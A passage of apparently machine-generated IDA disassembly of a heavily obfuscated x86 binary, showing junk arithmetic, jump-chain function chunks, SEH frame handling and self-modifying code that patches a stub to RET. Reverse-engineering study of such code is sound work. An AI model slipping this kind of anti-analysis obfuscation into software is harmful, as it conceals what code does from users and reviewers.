; END OF FUNCTION CHUNK	FOR sub_44368F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443D0B

loc_44C52F:				; CODE XREF: sub_443D0B+10j
		push	644C1F11h
		pop	edi
		or	edi, 0FB412D98h
		cmp	edi, 0E5282B52h
		jmp	loc_449E11
; END OF FUNCTION CHUNK	FOR sub_443D0B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44C547:				; CODE XREF: kgbikm34:0043DB7Fj
		jmp	loc_44C8C9
; ---------------------------------------------------------------------------
aRhYJzB2jBW	db 'Rh YÕjZÑÂʼ2JºÂ -W',0 ; DATA XREF: sub_445317-7692o
; ---------------------------------------------------------------------------
		mov	[edx], eax
		jmp	loc_440BC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44C568:				; CODE XREF: sub_43B1D6:loc_442BE6j
		jz	loc_44C4E5
		pushf
		or	esi, 0AF8F0848h
		adc	ecx, 0DC602636h

loc_44C57B:				; CODE XREF: kgbikm34:0043D6FBj
		xor	eax, 760CA21Fh
		jmp	loc_442D90
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_44C586:				; CODE XREF: sub_437A59:loc_4457CCj
		pop	edi
		rol	edi, 3
		sub	edi, 2D3EE6B9h

loc_44C590:				; CODE XREF: kgbikm34:loc_445983j
		add	edi, 0D8D17DA6h
		and	edi, 2E0C2ADEh
		add	edi, 0F83FFB99h
		xchg	edi, [esp-4+arg_0]
		jmp	loc_449529
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44C5AA:				; CODE XREF: sub_439BDE:loc_43CBBEj
		or	eax, eax
		jnz	loc_43FEA2
		jmp	loc_43AD15
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_44C5B7:				; CODE XREF: sub_43CFA5+6D14j
		jnz	loc_444B20
		cmp	dword ptr [ebp-0Ch], 5
		push	offset sub_444B13
		jmp	loc_4417CC
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_44C5CB:				; CODE XREF: sub_439034+1F8Cj
		pop	edi
		or	edi, 9215A9BCh
		add	edi, 6A0A3767h
		mov	[edi], eax
		pop	edi

loc_44C5DB:				; CODE XREF: kgbikm34:0044A210j
		lea	eax, loc_4443E0
		call	sub_439034
; END OF FUNCTION CHUNK	FOR sub_439034
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_44C5E6:				; CODE XREF: sub_43EB8F+A0Aj
		jmp	loc_44CC17
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44C5EB:				; CODE XREF: sub_439BDE+5690j
		jmp	loc_443057
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------

loc_44C5F0:				; CODE XREF: kgbikm34:loc_43FB8Ej
		shr	ecx, 1Bh
		pushf
		jg	loc_449A17
		and	ecx, 0DB49DD98h
		or	edx, ebp
		jmp	loc_44BF3B

; =============== S U B	R O U T	I N E =======================================



sub_44C607	proc near		; CODE XREF: kgbikm34:0043A1BBj
					; sub_43B932+DD5Ep

; FUNCTION CHUNK AT 0043A5C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C113 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043C618 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043E0C0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043F59E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F6E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044005D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004433F8 SIZE 0000001F BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ebx, 1AE15E8Bh
		add	ebx, ebp
		add	ebx, 3795D799h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_44005D
sub_44C607	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_44C621:				; CODE XREF: sub_43B400+1Dj
		xor	eax, eax
		mov	ds:dword_445F68, eax
		jmp	loc_448A44
; END OF FUNCTION CHUNK	FOR sub_43B400

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C62D	proc near		; CODE XREF: sub_44B64Cj
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_445F68, 0
		jz	loc_448A44
		mov	eax, ds:dword_445F68
		jmp	loc_448752
sub_44C62D	endp

; ---------------------------------------------------------------------------

loc_44C648:				; CODE XREF: kgbikm34:0044B70Fj
		ja	loc_4420B8

; =============== S U B	R O U T	I N E =======================================



sub_44C64E	proc near		; CODE XREF: kgbikm34:004484EEp
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
sub_44C64E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44C655:				; CODE XREF: sub_4474D5:loc_43BA64j
		cmp	byte ptr [eax],	0E9h
		jz	loc_43CEBE
		jmp	loc_4452CE
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_44C663:				; CODE XREF: sub_439587+6733j
		pop	ebx
		and	ebx, 5A8D9E22h
		xor	ebx, 240FCD1Bh
		sub	ebx, 0A672B02Dh
		add	ebx, 70AAA514h
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_44698B
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_44C684:				; CODE XREF: kgbikm34:0043CAA5j
		sub	esi, 58A7F066h
		or	esi, 3553F81h
		jns	loc_437672
; START	OF FUNCTION CHUNK FOR sub_44ABBB

loc_44C696:				; CODE XREF: sub_44ABBB-69F0j
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_44ABBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400F5

loc_44C69B:				; CODE XREF: sub_4400F5+Aj
		jmp	nullsub_208
; END OF FUNCTION CHUNK	FOR sub_4400F5
; ---------------------------------------------------------------------------
		cmp	ebx, 776729B4h
		jmp	loc_43765E
; ---------------------------------------------------------------------------

loc_44C6AB:				; DATA XREF: sub_4425CD+Ao
		push	25CF5319h
		pop	eax
		add	eax, 80842E76h
		rol	eax, 2
		add	eax, 351D015Ch
		call	sub_44826A
; START	OF FUNCTION CHUNK FOR sub_447193

loc_44C6C5:				; CODE XREF: sub_447193-C645j
		jmp	loc_44BAF1
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447DA2

loc_44C6CA:				; CODE XREF: sub_447DA2:loc_43772Fj
		pop	edx
		sub	edx, 0A6D5A7CEh
		add	edx, 0CD5681DEh
		xchg	edx, [esp+8+var_8]
		jmp	loc_43E6AD
; END OF FUNCTION CHUNK	FOR sub_447DA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_44C6DF:				; CODE XREF: sub_4407FD+CD43j
		push	eax
		jnz	loc_44C785
		or	edx, 17A95099h
		jmp	loc_44580D
; END OF FUNCTION CHUNK	FOR sub_4407FD

; =============== S U B	R O U T	I N E =======================================



sub_44C6F1	proc near		; CODE XREF: sub_43B172+9p
					; kgbikm34:0044543Fj

; FUNCTION CHUNK AT 004466EE SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edi
		push	0C282CFA7h
		pop	edi
		rol	edi, 2
		xor	edi, 5FB524DFh
		sub	edi, 5CC3D62Ch
		jmp	loc_4466EE
sub_44C6F1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_44C710:				; CODE XREF: sub_449D78-2CDDj
		mov	edx, eax

loc_44C712:				; CODE XREF: kgbikm34:loc_438CF2j
		call	sub_4479B1
		call	sub_44B64C
		call	sub_43EAEE

loc_44C721:				; CODE XREF: sub_44BFB7+Dj
		jmp	loc_44DA03
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_44C726:				; CODE XREF: sub_4407E7+4B1Bj
		jmp	loc_43D71A
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_44C72B:				; CODE XREF: sub_440F62:loc_43A535j
		pop	edx
		or	edx, 0AD58AAF8h
		add	edx, 10C604BCh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_4400AA
		jmp	loc_43791A
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448546

loc_44C747:				; CODE XREF: sub_448546:loc_448AA9j
		jnz	loc_44C756
		add	dword ptr [ebp-8], 4
		jmp	loc_4427EB
; ---------------------------------------------------------------------------

loc_44C756:				; CODE XREF: sub_448546:loc_44C747j
		add	dword ptr [ebp-8], 2
		jmp	loc_440466
; END OF FUNCTION CHUNK	FOR sub_448546

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C75F	proc near		; CODE XREF: sub_4471D6:loc_440867p
					; sub_4471D6-37A9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0043C42C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401A4 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		jmp	loc_43C42C
sub_44C75F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_44C76A:				; CODE XREF: sub_43D045:loc_4420CEj
		sbb	edi, ebp
		push	edx
		jmp	loc_449BFE
; END OF FUNCTION CHUNK	FOR sub_43D045
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD	"+" TO EXPAND]
		db 80h
		dd 0FFFF06C4h, 0B646685Ah, 6DE90043h, 1BFFFFADh
		db 0C7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_44C785:				; CODE XREF: sub_4407FD+BEE3j
		jmp	loc_43FC33
; END OF FUNCTION CHUNK	FOR sub_4407FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_44C78A:				; CODE XREF: sub_4438E2+9168j
		or	edx, 0C44B3317h
		cmp	edx, 3D58B615h
		jmp	loc_4387FF
; END OF FUNCTION CHUNK	FOR sub_4438E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_44C79B:				; CODE XREF: sub_44BB9F-7C3Fj
		jz	loc_44342E

loc_44C7A1:				; CODE XREF: sub_43B197+9A46j
		jmp	loc_43C21B
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
		ror	edi, 0Ch
		cmp	eax, 605BE943h
		jmp	loc_443422
; ---------------------------------------------------------------------------

loc_44C7B4:				; DATA XREF: kgbikm34:004389F3o
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		jz	loc_438ABA
		mov	eax, [esp]
		jmp	loc_4388F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_44C7C8:				; CODE XREF: sub_43EAEE:loc_44D18Dj
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		pop	eax
		jmp	loc_440F35
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_44C7D5:				; CODE XREF: sub_43D298+14j
					; sub_43FF32:loc_44BB08j
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397FF

loc_44C7DA:				; CODE XREF: sub_4397FF+10j
		jmp	loc_441496
; END OF FUNCTION CHUNK	FOR sub_4397FF
; ---------------------------------------------------------------------------

loc_44C7DF:				; CODE XREF: kgbikm34:00447C51j
		adc	edi, 0D711DFC6h

loc_44C7E5:				; CODE XREF: kgbikm34:loc_447C35j
		or	eax, 1F6606A5h
		sub	eax, 51E58242h
		xor	eax, 8F94832Fh
		push	esi
		call	sub_441EBE

loc_44C7FD:				; CODE XREF: kgbikm34:loc_43BDE4j
		sub	eax, 0F65B87F6h
		add	eax, 0D57F467Eh
		push	edx
		pushf
		push	offset sub_44BCD5
		jmp	loc_44C154
; ---------------------------------------------------------------------------

loc_44C815:				; CODE XREF: kgbikm34:loc_438381j
		pop	edx
		lea	eax, nullsub_307
		call	sub_440E52
; START	OF FUNCTION CHUNK FOR sub_44BAC8

loc_44C821:				; CODE XREF: sub_44BAC8-1032Ej
		jmp	sub_43D409
; END OF FUNCTION CHUNK	FOR sub_44BAC8
; ---------------------------------------------------------------------------

loc_44C826:				; CODE XREF: kgbikm34:0043A7DDj
		jmp	loc_44AA52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_44C82B:				; CODE XREF: sub_449D87-1270Dj
		jmp	loc_4370EE
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------

loc_44C830:				; CODE XREF: kgbikm34:0043EBDDj
		jg	loc_443294

; =============== S U B	R O U T	I N E =======================================



sub_44C836	proc near		; CODE XREF: sub_440AAA+Cp
		xchg	eax, [esp+0]
		pop	eax
		add	edx, 0B66FD09Bh
		mov	edx, [edx]
		push	offset sub_4407FD
		jmp	nullsub_211
sub_44C836	endp

; ---------------------------------------------------------------------------

loc_44C84C:				; CODE XREF: kgbikm34:00440BBBj
		push	offset sub_44D846
		jmp	locret_4473B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_44C856:				; CODE XREF: sub_43CAB5:loc_447330j
		sub	edi, 0FD7622D0h

loc_44C85C:				; CODE XREF: sub_437613+8DACj
		test	edi, 400h
		jmp	loc_43713C
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
		mov	ds:off_41E118, eax

loc_44C86D:				; CODE XREF: kgbikm34:loc_441AA4j
		lea	eax, sub_4458AD
		call	sub_443675
; START	OF FUNCTION CHUNK FOR sub_44A6D1

loc_44C878:				; CODE XREF: sub_44A6D1:loc_44CC85j
		sub	ebx, 10000h
		push	offset loc_43DED8
		jmp	nullsub_222
; END OF FUNCTION CHUNK	FOR sub_44A6D1
; ---------------------------------------------------------------------------

loc_44C888:				; CODE XREF: kgbikm34:0043FD35j
					; kgbikm34:0044DFEFj
		xchg	eax, [esp]
		mov	edx, eax
		call	sub_4479B1
		pop	edx
		pop	eax
		mov	ds:dword_438E54, edx

loc_44C89A:				; CODE XREF: kgbikm34:0044B9BDj
					; kgbikm34:0044D01Fj
		xchg	eax, edx
		call	sub_4487F2
		jmp	locret_438E50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A111

loc_44C8A5:				; CODE XREF: sub_44A111:loc_44AD56j
		add	ebx, 0D83AECBFh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_448F07
; END OF FUNCTION CHUNK	FOR sub_44A111
; ---------------------------------------------------------------------------

loc_44C8B3:				; DATA XREF: sub_43E8DA:loc_43BCE0o
		xchg	eax, [esp]
		mov	edx, eax
		call	sub_4479B1
		pop	edx
		jmp	loc_43DB8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F66

loc_44C8C3:				; CODE XREF: sub_439F66+7j
		mov	esp, [esp+arg_4]
; END OF FUNCTION CHUNK	FOR sub_439F66
; START	OF FUNCTION CHUNK FOR sub_437B32

loc_44C8C7:				; CODE XREF: sub_437B32+6j
					; sub_44DD92:loc_43B5ADj ...
		xor	eax, eax

loc_44C8C9:				; CODE XREF: kgbikm34:loc_44C547j
					; sub_44DD92:loc_44D953j
		pop	large dword ptr	fs:0
		pop	edx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_437B32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B958

loc_44C8D4:				; CODE XREF: sub_43B958+15j
		rol	eax, 2
		jmp	loc_44952F
; END OF FUNCTION CHUNK	FOR sub_43B958
; ---------------------------------------------------------------------------

loc_44C8DC:				; CODE XREF: kgbikm34:0043C97Cj
		jnz	loc_44A836
		jge	nullsub_44
		add	ebx, ecx
		add	edi, eax
		add	ebp, 0C4798D5Bh
		jmp	loc_44A836
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_44C8F8:				; CODE XREF: sub_441D2F:loc_438A40j
		mov	edi, eax
		pop	eax
		push	edx
		pushf
		jmp	loc_43BF14
; END OF FUNCTION CHUNK	FOR sub_441D2F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_263. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_44C903:				; CODE XREF: sub_44B20C-E3BBj
		jmp	loc_4422EB
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_44C908:				; CODE XREF: sub_4471D6:loc_43745Cj
					; kgbikm34:00439E62j
		jmp	loc_43E81F
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_44C90D:				; CODE XREF: sub_439852+111CEj
		pop	edx
		or	edx, 0F10FA959h
		add	edx, 0CC23111h
		mov	[edx], eax
		pop	edx
		lea	eax, loc_43AFEE
		jmp	loc_44B647
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_349. PRESS KEYPAD	"+" TO EXPAND]
		db 80h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		sar	bh, 1
		jmp	fword ptr [eax+5]
; ---------------------------------------------------------------------------
		dw 4435h
		dd 0E1CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E513

loc_44C93E:				; CODE XREF: sub_43E513:loc_443524j
		mov	eax, 0C0F1A028h
		call	sub_43BF6F
		mov	ds:dword_41E148, eax
		lea	eax, nullsub_72
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CFDD
; END OF FUNCTION CHUNK	FOR sub_43E513
; ---------------------------------------------------------------------------
		pop	edx
		call	sub_445C47

loc_44C962:				; DATA XREF: sub_43B5BA:loc_44E02Bo
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		jns	loc_4437C8
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		jmp	loc_43AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44C979:				; CODE XREF: sub_43741E:loc_445C09j
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C1F4

loc_44C980:				; CODE XREF: sub_43C1F4+8B87j
		jmp	loc_44CE8C
; END OF FUNCTION CHUNK	FOR sub_43C1F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE70

loc_44C985:				; CODE XREF: sub_44DE70j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0
		jnz	loc_43EFB5
		mov	eax, [ebp-8]
		jmp	loc_44B52C
; END OF FUNCTION CHUNK	FOR sub_44DE70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_44C999:				; CODE XREF: sub_440443:loc_4480A5j
		jl	loc_43DBE0

loc_44C99F:				; CODE XREF: sub_443072+3j
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
		jge	loc_447415
		mov	edx, [ebx]
		test	edi, ebp
		jmp	loc_44BCBD
; ---------------------------------------------------------------------------

loc_44C9B3:				; DATA XREF: sub_43CFA5:loc_438A4Ao
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_43A595
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_43A0A3
		jmp	loc_4420C9
; ---------------------------------------------------------------------------

loc_44C9D8:				; CODE XREF: kgbikm34:0044228Cj
		rol	eax, 19h
		and	ecx, edi
		jmp	loc_4408D2
; ---------------------------------------------------------------------------

loc_44C9E2:				; CODE XREF: kgbikm34:0043AE3Cj
		sub	ecx, edx
		mov	edi, 285D35B3h
		rol	ebp, 15h

loc_44C9EC:				; CODE XREF: kgbikm34:loc_442D85j
		mov	eax, 400h
		push	edi
		push	0A1099167h
		pop	edi
		or	edi, 0DE54310Ch
		jmp	loc_4410A0

; =============== S U B	R O U T	I N E =======================================



sub_44CA03	proc near		; CODE XREF: kgbikm34:00438411j
					; sub_444864-DB9p
		xchg	ebx, [esp+0]
		pop	ebx
		rol	eax, 0Ah

loc_44CA0A:				; CODE XREF: sub_4395CD+BAD7j
		xor	eax, 41DDC3Ah
		push	offset loc_43716D
		jmp	nullsub_215
sub_44CA03	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44CA1A	proc near		; CODE XREF: sub_43EFE3:loc_43791Fj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004402BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446336 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		nop
		mov	eax, 2867838Ah
		call	sub_43BF6F
		mov	ds:off_41E08C, eax
		jmp	loc_446336
sub_44CA1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44CA36:				; CODE XREF: sub_4478CD-6EE5j
		sbb	eax, ebp
		jmp	loc_43D389
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_44CA3D:				; CODE XREF: sub_4438E2:loc_43FE1Dj
		push	edx
		push	59575F5Bh
		pop	edx
		xor	edx, 8D3C0375h
		jmp	loc_44C78A
; END OF FUNCTION CHUNK	FOR sub_4438E2

; =============== S U B	R O U T	I N E =======================================



sub_44CA4F	proc near		; CODE XREF: sub_4396AA:loc_4458A8j

; FUNCTION CHUNK AT 00446B08 SIZE 00000011 BYTES

		push	ebx
		push	737EAB06h
		pop	ebx
		or	ebx, 7C58E987h
		jmp	loc_446B08
sub_44CA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_44CA61	proc near		; CODE XREF: kgbikm34:0043BD4Cp
					; kgbikm34:004448C7j

; FUNCTION CHUNK AT 0044091D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044121D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044380C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B3F5 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	9A1DF2D6h
		pop	esi
		xor	esi, ds:4000FBh
		cmp	esi, 0CCC9E357h
		jmp	loc_44B3F5
sub_44CA61	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44CA7C	proc near		; CODE XREF: sub_44CABC-CEE7p
					; kgbikm34:00442082j

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		call	sub_43D409
		mov	eax, [esp+0]
		call	sub_43C7C6
		jmp	nullsub_311
sub_44CA7C	endp

; ---------------------------------------------------------------------------

loc_44CA98:				; CODE XREF: kgbikm34:loc_439671j
					; kgbikm34:0043DC5Fj
		mov	eax, [ebp-4]
		push	offset loc_443A58
		jmp	locret_43ED4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44CAA5:				; CODE XREF: sub_443681:loc_44D355j
					; kgbikm34:0044D368j
		add	ebx, 7E64B52Ch
		mov	[ebx], eax
		xchg	eax, [esp+4+var_4]
		mov	ebx, eax
		push	offset loc_44A872
		jmp	loc_440A48
; END OF FUNCTION CHUNK	FOR sub_443681

; =============== S U B	R O U T	I N E =======================================



sub_44CABC	proc near		; CODE XREF: sub_442401-55F6p
					; kgbikm34:0043EB22j

; FUNCTION CHUNK AT 00438492 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A542 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FBBD SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043FC3A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443761 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444F37 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445A76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004464B1 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00446FEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D0DD SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0BAC9D179h
		pop	edx
		xor	edx, 0C19B73B7h
		sub	edx, 16D56CEFh
		xor	edx, 54CEF658h
		add	eax, edx
		jmp	loc_43FC3A
sub_44CABC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jl	loc_443F16
		jmp	loc_442DAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_44CAEA:				; CODE XREF: sub_43FD63:loc_43F74Fj
		push	0
		push	eax
		lea	eax, loc_43E6E9
		push	eax
		jmp	loc_43D8A2
; END OF FUNCTION CHUNK	FOR sub_43FD63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_44CAF9:				; CODE XREF: sub_44ADC2-2E1Aj
		adc	esi, 0B2520648h
		shl	edx, 1Ah
		xor	eax, 0ED575D08h
		sbb	edx, 3944149Eh

loc_44CB0E:				; CODE XREF: sub_44ADC2:loc_447FA0j
		xor	eax, 0F968845Dh
		add	eax, ebp
		jmp	loc_439C60
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CD5D

loc_44CB1B:				; CODE XREF: sub_43CD5D+F688j
		rol	eax, 0Ah
		add	eax, 0EFFBAFF3h
		xchg	eax, [esp+4+var_4]
		jmp	sub_447B31
; END OF FUNCTION CHUNK	FOR sub_43CD5D
; ---------------------------------------------------------------------------

loc_44CB2C:				; CODE XREF: kgbikm34:loc_4469E2j
		cdq
		jmp	loc_43D070
; ---------------------------------------------------------------------------

loc_44CB32:				; CODE XREF: kgbikm34:loc_44DC3Dj
		rol	eax, 8
		sub	eax, 8BE94328h
		or	eax, 276902CFh
		add	eax, 0D3AA3954h
		jmp	loc_43A51B
; ---------------------------------------------------------------------------
		jo	sub_4403A3
		jmp	sub_43CFC1
; ---------------------------------------------------------------------------

loc_44CB57:				; DATA XREF: kgbikm34:00443485o
		push	7D9F2B21h
		pop	ecx
		sub	ecx, 5ED122FDh
		or	ecx, 0E87EC9CEh
		rol	ecx, 4
		jmp	loc_43840B
; ---------------------------------------------------------------------------

loc_44CB71:				; DATA XREF: sub_43D045:loc_44CDC1o
		rol	eax, 4
		add	eax, 487047Bh
		push	esi
		mov	esi, edi
		xchg	esi, [esp]
		push	0C5F7CC8Ah
		xchg	esi, [esp]
		mov	edi, esi
		jmp	loc_43842B
; ---------------------------------------------------------------------------

loc_44CB8F:				; CODE XREF: kgbikm34:00441EB3j
		shr	esi, 13h
		sub	ebx, 886ECC4Fh
		push	49C7E0BCh
; START	OF FUNCTION CHUNK FOR sub_444002

loc_44CB9D:				; CODE XREF: sub_444002:loc_441E9Dj
		sub	ebx, 1C44330Ah
		add	ebx, 44E166A3h
		jmp	loc_4464D9
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_44CBAE:				; CODE XREF: sub_447B31:loc_439F5Cj
		jz	loc_44BA3A
		jmp	sub_43AF8F
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
		mov	eax, 0CAAB96A5h
		push	ebx
		push	0EED2FC34h
		pop	ebx
		sub	ebx, 6EE79C5Bh
		jmp	loc_43ADE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B714

loc_44CBD0:				; CODE XREF: sub_44B714+Ej
		pop	ebx
		or	edi, ds:4000F1h

loc_44CBD7:				; CODE XREF: kgbikm34:loc_4418F7j
		xor	edi, 0F9985FC6h
		add	edi, 95A72F01h
		xor	edi, 44AA981Fh
		jmp	loc_43A421
; END OF FUNCTION CHUNK	FOR sub_44B714
; ---------------------------------------------------------------------------
		shr	ebx, 0Bh
		jmp	loc_4432E9
; ---------------------------------------------------------------------------
